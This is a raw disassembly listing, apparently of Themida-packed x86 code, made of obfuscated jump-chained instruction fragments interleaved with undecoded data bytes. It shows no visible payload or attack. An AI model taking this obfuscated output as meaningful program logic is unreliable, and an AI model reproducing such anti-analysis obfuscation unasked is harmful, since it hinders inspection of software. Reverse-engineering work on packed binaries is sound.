		xor	ebx, 20D57A4Bh
		push	edi
		mov	edi, ebx
		mov	edx, edi
		jmp	loc_557D7E
; ---------------------------------------------------------------------------
		dd 240C875Eh, 2DE8295Ch, 1BC947E9h, 0E9242C8Bh,	3C0Eh
		dd 0E9241C87h, 0FFFFD21Eh
; ---------------------------------------------------------------------------


loc_553638:				; CODE XREF: Themida_:0055B197j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_556B38
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 1Ah
		dd 0E948B56Dh, 0FFFFCA99h
; ---------------------------------------------------------------------------


loc_55364C:				; CODE XREF: Themida_:0054FD42j
		push	esp
		pop	esi
		add	esi, 4
		push	ebp
		jmp	loc_552EA3
; ---------------------------------------------------------------------------
		dw 0D987h
		dd 35E9DBF7h, 68000064h, 35E5h,	0BD242C89h, 4CD1467Eh
		dd 467AED81h, 0C6814CD1h, 62FF6B64h, 0B951EE01h, 76AD6270h
		dd 0E981D9F7h, 2C43795Eh, 0E981D1F7h, 503550EAh, 1F7FE981h
		dd 0CE29EFBCh, 1D15E959h, 0C4810000h, 4, 0E95DE831h, 0FFFFC103h
		dd 148BD601h, 4C48324h,	8B685557h, 0E950EC76h, 5F18h
; ---------------------------------------------------------------------------


loc_5536C4:				; CODE XREF: Themida_:0055BDABj
		mov	esi, [esp]
		jmp	loc_552897
; ---------------------------------------------------------------------------
		dd 20E95547h, 0B8FFFFEEh, 0C860C5Bh, 8496E9h, 4E9C100h
		dd 801DC181h, 0C8013FEBh, 4BA2E9h, 0EF315F00h, 322DE95Dh
		dd 30FF0000h, 75F0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5536FD:				; CODE XREF: Themida_:00552726j
		mov	ebp, [esp]
		add	esp, 4
		xor	edx, esi
		jmp	loc_5530D5
; ---------------------------------------------------------------------------
		db 5, 0DFh, 63h
		dd 4709546Ch, 98E9581Ch, 81FFFFC0h, 155A17C3h, 81C3297Ah
		dd 155A17EBh, 7EEB817Ah, 68394F34h, 3AEEh, 81240C89h, 4ECh
		dd 243C8900h, 10FDE9h, 81D6F700h, 2F4073F6h, 5DE6813Dh
		dd 0E97BAA01h, 0FFFFEA8Ch, 4C381h, 0EB810000h, 4, 5C241C87h
		dd 0BB241C89h, 6BD62A86h, 7E08EB81h, 0EB814214h, 29C1AC7Ch
		dd 2FD0BB53h, 0F74B4557h, 48F381DBh, 19B6FFBh, 0DE015BDEh
		dd 2B79EE81h, 875B21C7h, 248B2434h, 0B60F6624h,	4851E9C8h
		dd 0F6680000h, 89000033h, 6855243Ch, 57B6715Dh,	81242C8Bh
		dd 4C4h, 6E93BF00h, 0DBE947C5h,	68FFFFF3h, 52ED5C8Bh, 77B1E9h
		dd 4D82800h, 213FE952h,	0E95B0000h, 0FFFFF14Bh,	2404895Ch
		dd 873EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5537E9:				; CODE XREF: Themida_:0055397Cj
		or	ebp, 301F7BBEh
		push	edx
		mov	edx, 40C6289Ah
		inc	edx
		jmp	loc_558934
; ---------------------------------------------------------------------------
aSa5		db ')ÏéA5',0
		align 2
		dw 0BD55h
		dd 2AFB3A65h, 0FFFCD2E9h, 5DEF29FFh, 0E9243C87h, 0FFFFF955h
		dd 5F2434FFh, 4C481h, 0C5830000h, 242C8702h, 240CD25Ch
		dd 0FBEFE99Ch, 0E956FFFFh, 6B5Eh, 4BBh,	5BDD0100h, 4D87E9h
		db 0
; ---------------------------------------------------------------------------


loc_553845:				; CODE XREF: Themida_:00553DD3j
		add	ecx, eax
		jmp	loc_558A3F
; ---------------------------------------------------------------------------
aTzqspl		db 'TZQépL',0
		align 4
dword_553854	dd 5524048Bh, 0FE95D54h, 0F600002Ah, 50DBF6D3h,	5E96CB0h
					; DATA XREF: Themida_:0054F754o
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55386B:				; CODE XREF: Themida_:005539E9j
		add	ebp, 76A72080h
		mov	eax, ebp
		mov	ebp, [esp]
		jmp	loc_55ADB8
; ---------------------------------------------------------------------------
		db 68h
		dd 2372h, 0BB241C89h, 7BE80311h, 1CB1E957h, 0EA810000h
		dd 4, 0E9241433h, 3175h
; ---------------------------------------------------------------------------


loc_55389C:				; CODE XREF: Themida_:005535EBj
		pop	esp
		or	eax, eax
		jnz	loc_559C30
		push	3535h
		mov	[esp], ebp
		mov	ebp, 5FA30487h
		jmp	loc_551C46
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FFDE8BE9h, 2434FFFFh, 4C4815Ah, 57000000h, 0E952E789h
		dd 93Eh, 472E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5538D6:				; CODE XREF: Themida_:005532D9j
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 94h
		jmp	loc_55618A
; ---------------------------------------------------------------------------
		db 81h
		dd 97402C3h, 0F3815F23h, 25CE4FB2h, 0E95BD901h,	0FFFFD2A4h
dword_553904	dd 240C8B66h, 55E68956h, 724C59BDh, 0F7DDF740h,	1ED81DDh
					; DATA XREF: Themida_:0054F6A0o
		dd 81237C6Eh, 0A46BD5C5h, 2258E953h, 0F2800000h, 0D69DE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55392E:				; CODE XREF: Themida_:00552F0Dj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		push	2ED00FC9h
		pop	ebp
		jmp	loc_552B03
; ---------------------------------------------------------------------------
word_55394A	dw 0BA52h		; DATA XREF: Themida_:0054F6A8o
		dd 67423144h, 0C2314892h, 0C231D031h, 0E904EC83h, 316h
; ---------------------------------------------------------------------------


loc_553960:				; CODE XREF: Themida_:005511E7j
		shl	eax, 1
		jmp	loc_553EFA
; ---------------------------------------------------------------------------
		db 4
		dd 0EEF7E91Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55396E:				; CODE XREF: Themida_:005526CFj
		xor	edi, 0F83BC641h
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5537E9
; ---------------------------------------------------------------------------


loc_553981:				; CODE XREF: Themida_:005560ADj
		add	[esp+4], edx
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		jmp	loc_559928
; ---------------------------------------------------------------------------
		db 55h
		dd 5B9E952h, 0D9870000h, 3562BA52h, 2FE925F9h, 8100005Fh
		dd 52484FC3h, 0E9D8299Bh, 0FFFFC7B8h, 33243C31h, 248B243Ch
		dd 3D50E924h, 2D5A0000h, 643F6F07h, 44E9F001h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5539DB:				; CODE XREF: Themida_:00554D4Ej
		sub	[esp+4], ecx
		add	dword ptr [esp+4], 2E8976C1h
		pop	ecx
		pop	ebp
		jmp	loc_55386B
; ---------------------------------------------------------------------------
		dw 0DEF7h
		dd 6233BD55h, 0DDF71BE1h, 2414F755h, 6E5C15Dh, 18CCC581h
		dd 0EE31AFF2h, 0FFF868E9h, 8802B2FFh, 0E9525AD4h, 8453h
; ---------------------------------------------------------------------------


loc_553A18:				; CODE XREF: Themida_:00556F51j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_553AF6
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5B04h, 3C895C24h,	2474FF24h, 48F5F04h, 0D23AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553A3A:				; CODE XREF: Themida_:005580B3j
		push	esi
		mov	esi, 15C406CEh
		add	ebp, esi
		pop	esi
		jmp	loc_550CB6
; ---------------------------------------------------------------------------
		dd 5EE868h, 240C8900h, 240C8B5Bh, 81E68956h, 4C6h, 0DE95300h
		dd 0BFFFFFD5h, 28B7A56Ah, 3159CF29h, 0EF815FF8h, 4CD063ADh
		dd 0C781C729h, 4CD063ADh, 2594E9h, 241C3300h, 3CF8E9h
		dd 4EA8100h, 87000000h,	51E92414h
		db 13h,	2 dup(0)
byte_553A97	db 0ADh			; DATA XREF: Themida_:0054F654o
		dd 151AE9h, 2C130400h, 4AF8E9A6h, 0E9510000h, 7341h, 0C581E589h
		dd 4, 4C581h, 30E90000h
		db 6Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553ABF:				; CODE XREF: Themida_:0055885Bj
		pop	ebx
		dec	ebp
		add	ebp, 1F2ECCFCh
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55824B
; ---------------------------------------------------------------------------


loc_553AD4:				; CODE XREF: Themida_:00559ED5j
		push	107Bh
		mov	[esp], esi
		jmp	loc_55AEDD
; ---------------------------------------------------------------------------
		db 81h,	2 dup(0C5h)
		dd 9F697E5h, 0E9815DE9h, 466B3226h, 5B84E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553AF6:				; CODE XREF: Themida_:00553A1Cj
		mov	[esp], edi
		push	esp
		pop	edi
		push	62D4h
		mov	[esp], ecx
		mov	ecx, 32DB725Bh
		push	ebp
		push	ebx
		jmp	loc_55884D
; ---------------------------------------------------------------------------
		db 81h
		dd 0B9CB4BC5h, 0E9EE3124h, 0FFFFDB5Fh, 30FF665Ch, 0FFBC8EE9h
		dd 59CA01FFh, 2C281h, 0A9680000h, 89000064h, 74FF2414h
		dd 148B0424h, 4C48124h,	0E9000000h, 0FFFFEC31h,	0EB41F581h
		dd 0EF89254Eh, 1883E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553B56:				; CODE XREF: Themida_:0055A01Dj
		push	edx
		push	ecx
		pop	edx
		push	5E6Fh
		mov	[esp], ebx
		mov	ebx, edx
		mov	eax, ebx
		mov	ebx, [esp]
		jmp	loc_55AF94
; ---------------------------------------------------------------------------
		db 0Fh,	0B6h, 0C0h
		dd 0FFE1AFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553B75:				; CODE XREF: Themida_:0054FCDCj
		add	ebx, ecx
		jmp	loc_550B7E
; ---------------------------------------------------------------------------
		dd 0C46BE951h, 515AFFFFh, 0E5C061B5h, 0FECDFE07h, 22E580C5h
		dd 28CFED80h, 0CC8059ECh, 8E4C017h, 68F0C480h, 2432h, 0B7241C89h
		dd 5BFC0062h, 0F486D4F6h, 41E9C6FEh
		db 0EBh, 2 dup(0FFh)
byte_553BB7	db 0ACh			; DATA XREF: Themida_:0054F5CCo
		dd 0F82EE957h, 0C281FFFFh, 2CF93B24h, 1694C281h, 0C8B7CABh
		dd 4C48324h, 31241433h,	14332414h, 24248B24h, 0FFBBD2E9h
		dd 81DBF7FFh, 0E82EE5CBh, 9FEB816Eh, 1DDD7D9h, 0E396E9D8h
		dd 1C8BFFFFh, 0F51AE924h, 895CFFFFh, 0A4B9240Ch, 53263D1Fh
		dd 3B05E9BBh, 0F7D3F704h, 0A6E381DBh, 57195318h, 455FE9h
		dd 4C38100h, 81000000h,	4C3h, 241C8700h, 8324248Bh, 0E83004C4h
		dd 240C8B66h, 6602C483h, 25E16852h, 0C890000h, 887AB124h
		dd 2434FFCAh, 50240C8Bh, 0CBE9E089h, 5900003Eh,	4BD55h
		dd 6DE90000h, 0B900005Ah, 24B835DEh, 8C6E181h, 0E1C12648h
		dd 0E4BFE905h, 1C89FFFFh, 53D3BB24h, 40E91C33h,	1FFFFDDh
		dd 0B26859CDh, 8900002Bh, 74FF242Ch, 0E95D0424h, 4097h
; ---------------------------------------------------------------------------


loc_553C98:				; CODE XREF: Themida_:00555096j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp


loc_553C9F:				; CODE XREF: Themida_:00550960j
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		jmp	loc_5548BA
; ---------------------------------------------------------------------------


loc_553CAB:				; CODE XREF: Themida_:0055196Bj
		push	esp
		pop	edx
		push	ebp
		mov	ebp, 4
		jmp	loc_558713
; ---------------------------------------------------------------------------
		dd 5004C483h, 405E089h,	0E9000000h, 6E45h, 42474FFh, 24048F58h
		dd 8324248Bh, 0C8904ECh, 52D18824h, 5F768h, 3DC8E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553CE6:				; CODE XREF: Themida_:0055A55Ej
		xor	edx, 6310700Eh
		and	ecx, edx
		pop	edx
		add	ecx, 7DBFE3D4h
		add	ebp, ecx
		pop	ecx
		add	ebp, 0B2D4464h
		add	ebp, ebx
		sub	ebp, 0B2D4464h
		sub	ebp, 7E2603F9h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_556B8C
; ---------------------------------------------------------------------------
		dd 682AF781h, 8157F3E4h, 0F67242Ch, 48B72C3h, 4C48124h
		dd 0E9000000h, 7F80h
; ---------------------------------------------------------------------------


loc_553D34:				; CODE XREF: Themida_:005571CEj
		sub	ebx, 7FF9C31Bh
		jmp	loc_55A8C1
; ---------------------------------------------------------------------------
		db 0FFh
a4S		db '4$]é((',0
		align 4
		dd 4C481h, 0BF570000h, 18A37F0Dh, 7B44C781h, 0C78142C5h
		dd 2D41046Fh, 0FEC4F781h, 0FE0188A9h, 11B2E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553D6E:				; CODE XREF: Themida_:0055516Cj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	edx, 2
		xchg	edx, [esp]
		mov	esp, [esp]
		cmp	cl, al
		pushf
		jmp	loc_557719
; ---------------------------------------------------------------------------
		dw 0F75Ch
aSh		db 'áh:{',0
		align 2
		dw 70E9h
		dd 0BDFFFFD2h, 691F3299h, 4FDCE581h, 0F5810316h, 4918747Ah
		dd 0F75DEB29h, 0DBF4E9DBh, 348BFFFFh, 4C48124h,	0E9000000h
		dd 0FFFFF8A7h, 9C240430h, 0FFB9EEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553DC5:				; CODE XREF: Themida_:005559F9j
		neg	ebp
		add	ebp, 7D182F84h
		xor	ebx, ebp
		pop	ebp
		mov	eax, ebx
		pop	ebx
		jmp	loc_553845
; ---------------------------------------------------------------------------
		dd 0CE6ED62Dh, 42660521h, 2E257611h, 2D60280Fh,	0A6B55836h
		dd 8158C131h, 8A73BAC3h, 26EB8159h, 293EF11Ah, 26C381CBh
		dd 503EF11Ah, 0FFBD22E9h, 626CBAFFh, 3AE97668h,	81FFFFD2h
		dd 4C4h, 0E7B05000h, 0F640B252h, 0EFEA80D2h, 0D028D104h
		dd 30E9D12Ch, 59FFFFCFh, 0FFD1C5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553E35:				; CODE XREF: Themida_:005570FCj
		mov	ebp, 7AC16681h
		jmp	loc_556A2A
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8904ECh, 81595424h, 4C1h, 0EB685700h, 89000035h, 9CE92404h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553E5B:				; CODE XREF: Themida_:00554F2Cj
		push	esp
		pop	esi
		push	ebp
		mov	ebp, 0B15701Eh
		shl	ebp, 4
		add	ebp, 4EA8FE24h
		add	esi, ebp
		pop	ebp
		push	edi
		mov	edi, 29FD4105h
		sub	edi, 58D35EB2h
		sub	edi, 6A7708BBh
		dec	edi
		jmp	loc_556C19
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4EA8100h, 87000000h, 895C2414h, 8ABE2434h, 0E96EDA21h
		dd 40E7h, 24448158h, 0B75E2C04h, 245C013Bh, 0ECA0E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553EB6:				; CODE XREF: Themida_:0055341Cj
		xchg	edi, [esp]
		jmp	loc_554939
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 4C181h, 0D6E90000h, 89000074h, 4C381E3h, 0E9000000h
		dd 198Ah, 8090C280h, 0FA00AEC2h, 45685066h, 89000054h
		dd 0CCB7241Ch, 0F800E2B0h, 66C2285Bh, 2DCFE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553EFA:				; CODE XREF: Themida_:00553962j
		add	eax, 56DA013Bh
		xor	eax, 8494AD1Ah
		sub	edx, eax
		pop	eax
		pop	ecx
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_55703E
; ---------------------------------------------------------------------------
byte_553F13	db 66h			; DATA XREF: Themida_:0054F5B0o
		dd 0E9240C8Bh, 0FFFFDEE7h
; ---------------------------------------------------------------------------


loc_553F1C:				; CODE XREF: Themida_:0054FF9Cj
		pop	edi
		jmp	loc_550196
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 23AF7E80h, 0C281FA29h, 23AF7E80h, 5CA3C281h,	3C8B693Eh
		dd 4C48324h, 51242C8Bh,	0C181E189h, 4, 4C181h, 0C870000h
		dd 8DE95C24h, 8300007Ah, 0BDE904ECh, 0BA000006h, 4AD250FBh
		dd 0FFC2C6E9h
		db 0FFh
byte_553F69	db 51h,	0FFh, 74h	; DATA XREF: Themida_:0054F6B0o
		dd 0CDE90424h, 0B2FFFFC9h, 11EA809Ch, 741AE9h
		db 0
; ---------------------------------------------------------------------------


loc_553F7D:				; CODE XREF: Themida_:00551A4Ej
		mov	eax, 277135DCh
		dec	eax
		shl	eax, 4
		and	eax, 30483070h
		xor	eax, 30001034h
		jmp	loc_551117
; ---------------------------------------------------------------------------


loc_553F95:				; CODE XREF: Themida_:00557B92j
		sub	edx, 1C7A47DFh
		jmp	loc_556675
; ---------------------------------------------------------------------------
		dd 52241C89h, 44D3E9h
		db 0
; ---------------------------------------------------------------------------


loc_553FA9:				; CODE XREF: Themida_:00552F6Fj
		add	esp, 4
		add	ebx, 0F835FBA2h
		mov	ecx, ebx
		jmp	loc_55B4C4
; ---------------------------------------------------------------------------
dword_553FBC	dd 240C8B66h, 53E78957h, 4BBh, 0E9DF0100h, 5C0Dh, 4948CE81h
					; DATA XREF: Themida_:0054F57Co
		dd 0C6816C02h, 32E491Dh, 1BE9F289h
		db 0C1h, 2 dup(0FFh)
byte_553FE3	db 66h			; DATA XREF: Themida_:0054F720o
		dd 0E924248Bh, 0FFFFB7C7h, 0E9FFEF80h, 6148h
dword_553FF4	dd 240C8B66h, 44F2E9h, 230FBB00h, 0E3815055h, 527054D6h
					; DATA XREF: Themida_:0054F6D0o
		dd 135FEB81h, 0DF2934E6h, 6AABE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554016:				; CODE XREF: Themida_:00554532j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_554C70
; ---------------------------------------------------------------------------


loc_55401F:				; CODE XREF: Themida_:005587A9j
		push	edx
		mov	edx, 799B46F4h
		jmp	loc_55197E
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 55E78924h, 60C8BF57h, 0CCBD09C6h, 3109C660h,	0EF015FFDh
		dd 56E9535Dh, 5F000002h, 0E8C78147h, 31767D80h,	0C5015FF8h
		dd 242C8758h, 2BF0E9h, 24348900h, 59A968h, 24248900h, 4BF57h
		dd 7C010000h, 8B5F0424h, 0C4812434h, 4,	43E3E9h
		db 0
; ---------------------------------------------------------------------------


loc_554081:				; CODE XREF: Themida_:00552153j
		mov	edx, 6D0D158Fh
		push	esi
		jmp	loc_55BE29
; ---------------------------------------------------------------------------
		dd 4B951h, 0CE010000h, 4EE8359h, 31243433h, 34332434h
		dd 24248B24h, 54240C89h, 67BA5259h, 42178374h, 6EA8EA81h
		dd 0F2815A30h, 0BD5305C4h, 835AD101h, 0C3302E9h, 240C3124h
		dd 5C240C33h, 240C8966h, 0C8B60F66h, 54E3E9h, 8BF78900h
		dd 0C4832434h, 5B1A0504h, 0FD2D374Bh, 2962E624h, 24FD05F8h
		dd 1A2D62E6h, 5F374B5Bh, 59580189h, 81E38953h, 4C3h, 4EB8100h
		dd 33000000h, 1DE9241Ch
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554113:				; CODE XREF: Themida_:00558352j
		inc	ecx
		xor	ecx, 3B47EDECh
		jmp	loc_55AD2A
; ---------------------------------------------------------------------------
		db 81h
		dd 966A9EEAh, 2F28126h,	159DF5Fh, 24148BD3h, 2E86E9h, 240C8900h
		dd 3F5D68h, 24348900h, 2A196866h, 24348B66h, 2C481h, 16E90000h
		dd 8300000Dh, 0F00207Fh, 9F084h, 4EC8100h, 0E9000000h
		dd 0FFFFC549h
; ---------------------------------------------------------------------------


loc_554168:				; CODE XREF: Themida_:00551058j
		push	dword ptr [esp]
		jmp	loc_556ED6
; ---------------------------------------------------------------------------
		dd 8704EE83h, 0E95C2434h, 0FFFFCADAh, 193068h, 24148900h
		dd 0FFF2B5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554189:				; CODE XREF: Themida_:00554563j
		push	ebx
		push	635Ch
		jmp	loc_55282F
; ---------------------------------------------------------------------------
		dd 4C481h, 0BEE90000h, 5EFFFFE3h, 0BC44EB2Dh, 5F8013Bh
		dd 3BBC44EBh, 0FFC877E9h, 3CD366FFh, 0F8E99C24h
		db 0B5h, 2 dup(0FFh)
byte_5541BB	db 66h			; DATA XREF: Themida_:0054F5F0o
		dd 5724048Bh, 3DE2E9h, 6FCD6800h, 24890000h, 24048124h
		dd 4, 687DE95Bh, 0C7BE0000h, 96D181Dh, 0E9575EF3h, 4682h
		dd 6824048Fh, 4C2Ch, 0BF243C89h, 4, 4247C01h, 83243C8Bh
		dd 2C8B04C4h, 4C48324h,	0F62AE953h, 6768FFFFh, 0FF683C09h
		dd 0E95A2434h, 0FFFFBBFCh, 0E9243C8Bh, 7CC1h, 83241C8Bh
		dd 0B15104C4h, 4FC18071h, 0C8BCB00h, 4C48124h, 51000000h
		dd 0C181E189h, 4, 4E981h, 0C870000h, 0C895C24h,	4EC8324h
		dd 0E9241C89h, 1A55h, 0E901E980h, 2A08h
; ---------------------------------------------------------------------------


loc_554264:				; CODE XREF: Themida_:005508AFj
		mov	[esp], edx
		mov	edx, 4EB512F2h
		jmp	loc_555F53
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 8904EC83h, 4812424h,	424h, 24048F00h, 4240483h, 4BD555Fh
		dd 1000000h, 0C7835DEFh, 243C8704h, 0FFC88FE9h,	546856FFh
		dd 0E973B02Fh, 5FD8h, 4B951h, 0CB010000h, 45E6E9h, 0A26BD00h
		dd 50E924DFh, 5F000043h, 0AFACC781h, 5750ADF3h,	7DFEE9h
		dd 1055A00h, 136B309h, 9012DF8h, 8B5F36B3h, 0C481240Ch
		dd 4, 4EC81h, 3C890000h, 269CBF24h, 0F7576378h,	3C8B2414h
		dd 4C48124h, 0C1000000h, 0EF8106EFh, 5467349Ch,	0FFF2F8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55430D:				; CODE XREF: Themida_:00555DA9j
		push	ebp
		mov	ebp, 65E57832h
		mov	edx, 3C972C86h
		xor	edx, ebp
		pop	ebp
		neg	edx
		jmp	loc_555B84
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 0F428B680h, 0E95EF521h, 7689h, 5553EB81h, 0EB017F53h
		dd 6B62E9h, 4C48100h, 1000000h,	0E9535DEAh, 0FFFFE59Dh
; ---------------------------------------------------------------------------


loc_55434C:				; CODE XREF: Themida_:00554B44j
		sub	ebx, 72A47170h
		sub	ebx, eax
		add	ebx, 72A47170h
		jmp	loc_557D98
; ---------------------------------------------------------------------------
		db 1
aUSff		db 'î]éFf',0
		dw 8100h
		dd 0D67BE8C7h, 0EFEF812Dh, 0E97FA041h, 0FFFFD673h, 0E2685755h
		dd 5F19C24Ah, 44CF68h, 243C8900h, 5F2414F7h, 0ABCCEF81h
		dd 22E98107h, 81000066h, 4C4h, 2EE8100h, 0E9000000h, 5CA7h
		dd 4C481h, 0EB810000h, 4D462975h, 759DC381h, 0C381729Ah
		dd 68831244h, 9A25EB81h, 55E9A6A0h, 66FFFFB7h, 0E907E1C1h
		dd 7719h, 50EEE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5543DA:				; CODE XREF: Themida_:005502D3j
		add	esi, 48391CCCh
		mov	ebx, esi
		pop	esi
		jmp	loc_557B5A
; ---------------------------------------------------------------------------
dword_5543E8	dd 0FD65E9ADh, 0BB53FFFFh, 1B6C3150h, 47A3E9h, 0F8B75300h
					; DATA XREF: Themida_:0054F750o
		dd 0EFC0D7F6h, 9FCF8004h, 2857C780h, 30A3E9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55440E:				; CODE XREF: Themida_:0055A1C6j
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 57F243Ah
		sub	ebp, 2D0E4677h
		inc	ebp
		jmp	loc_55141B
; ---------------------------------------------------------------------------
		dw 0D3F7h
		dd 90E9FB87h, 0BAFFFFEFh, 22C279D6h, 1EE9DAF7h,	5800006Ah
		dd 52FFE9h, 56970500h, 0C801590Fh, 0F56972Dh, 1349E959h
		dd 0D8290000h, 6EC1E9h,	24348700h, 489665Ch, 0B329E924h
		dd 0CD81FFFFh, 24A56AE7h, 0E901ED83h, 1C65h, 87A5C281h
		dd 0D301112Eh, 7391E9h,	4C18100h, 0E9000000h, 699h, 0E9242C8Bh
		dd 6CF7h
; ---------------------------------------------------------------------------


loc_5544B8:				; CODE XREF: Themida_:00554CAEj
		pop	eax
		mov	edx, [esp]
		push	eax
		jmp	loc_55782D
; ---------------------------------------------------------------------------


loc_5544C2:				; CODE XREF: Themida_:00557051j
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_55B726
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 24D3665Ch, 0D8E99C24h
		db 0B2h, 2 dup(0FFh)
byte_5544DB	db 66h			; DATA XREF: Themida_:0054F688o
		dd 0E924048Bh, 0FFFFBC3Ch, 0E924148Bh, 0FFFFFCA8h, 513454BDh
		dd 2EDC11Fh, 574CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5544F9:				; CODE XREF: Themida_:00552C9Ej
		mov	[esp], ebx
		push	40000h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		jmp	loc_554016
; ---------------------------------------------------------------------------


loc_554537:				; CODE XREF: Themida_:0055B2B4j
		dec	ecx
		jmp	loc_559ECA
; ---------------------------------------------------------------------------
		db 5Ch,	0Fh, 0AFh
		dd 0E99C51C8h, 0FFFFB26Bh, 5C241C87h, 4C481h, 0E9570000h
		dd 564Dh
; ---------------------------------------------------------------------------


loc_554558:				; CODE XREF: Themida_:00550973j
		mov	edx, [esp]
		add	esp, 4
		add	edx, edi
		jmp	loc_554189
; ---------------------------------------------------------------------------


loc_554568:				; CODE XREF: Themida_:0055A8C4j
		xor	esi, 69753104h
		sub	edi, esi
		pop	esi
		mov	eax, edi
		mov	edi, [esp]
		jmp	loc_55BDF8
; ---------------------------------------------------------------------------
aMfsps1		db '¬fSPé',27h,'1',0    ; DATA XREF: Themida_:0054F748o
		align 4
		dd 0EB81EB01h, 39AC452Ch, 5CEB815Dh, 2909C56Ch,	5CC381C3h
		dd 8109C56Ch, 0EA598FEBh, 0C589554Dh, 845E9h, 0B5516600h
		dd 198CE958h, 0BE560000h, 4716479h, 0F9E9F329h,	5400003Eh
		dd 61B1E9h, 1AC78100h, 2909651Eh, 243C8BFEh, 8704C483h
		dd 0E95C2434h, 0FFFFE564h, 85E9595Ah, 53000056h, 2B45E8BBh
		dd 680CE939h, 148B0000h, 4C48124h, 8F000000h, 248B2404h
		dd 48B6624h, 9316824h, 2C890000h, 4EC8324h, 83242489h
		dd 8B042404h, 0E951242Ch, 10A1h, 51242C89h, 1E40EA68h
		dd 30E95919h, 5A00001Eh, 15AD031h, 24048BC6h, 5604C483h
		dd 0E9E95E54h, 89000000h, 0E789243Ch, 4C781h, 0C7830000h
		dd 243C8704h, 2434FF5Ch, 52240C8Bh, 3AE954h, 4890000h
		dd 639E924h, 53660000h,	0F82876B7h, 0FFDE75E9h,	0B6BF57FFh
		dd 0E957B57Eh, 0FFFFD685h, 50D5BE56h, 9BE938D2h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554687:				; CODE XREF: Themida_:00558226j
		push	esp
		pop	ecx
		push	esi
		jmp	loc_5523CE
; ---------------------------------------------------------------------------
aR@sG		db 'Áà',8,'@é¸g',0
		align 4
		dd 4C2815Ah, 50000000h,	4EC81h,	0C890000h, 5DD6B924h, 0B7E91DD1h
		dd 81000053h, 993C51EBh, 61BD553Ch, 81258E5Fh, 0DE64A1E5h
		dd 44ED8157h, 18F3CCBh,	0E9525DEBh, 0FFFFC775h,	4240483h
		dd 0FFBA55E9h, 4EC81FFh, 89000000h, 0B050241Ch,	28E4B3FAh
		dd 0EB8058C3h, 0F6D3F669h, 0BB64E9DBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5546FA:				; CODE XREF: Themida_:005553B2j
		sub	edx, 26B73494h
		jmp	loc_550596
; ---------------------------------------------------------------------------
		db 9, 4, 24h
		dd 0B0A5E99Ch, 2C89FFFFh, 39B5E924h, 0A8050000h, 106B242h
		dd 0A8BB53C8h, 0E906B242h, 0FFFFFD4Eh, 4B951h, 0CE010000h
		dd 0CE95259h
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554737:				; CODE XREF: Themida_:0055A453j
		neg	edi
		sub	edi, 66A832BAh
		add	ebp, edi
		pop	edi
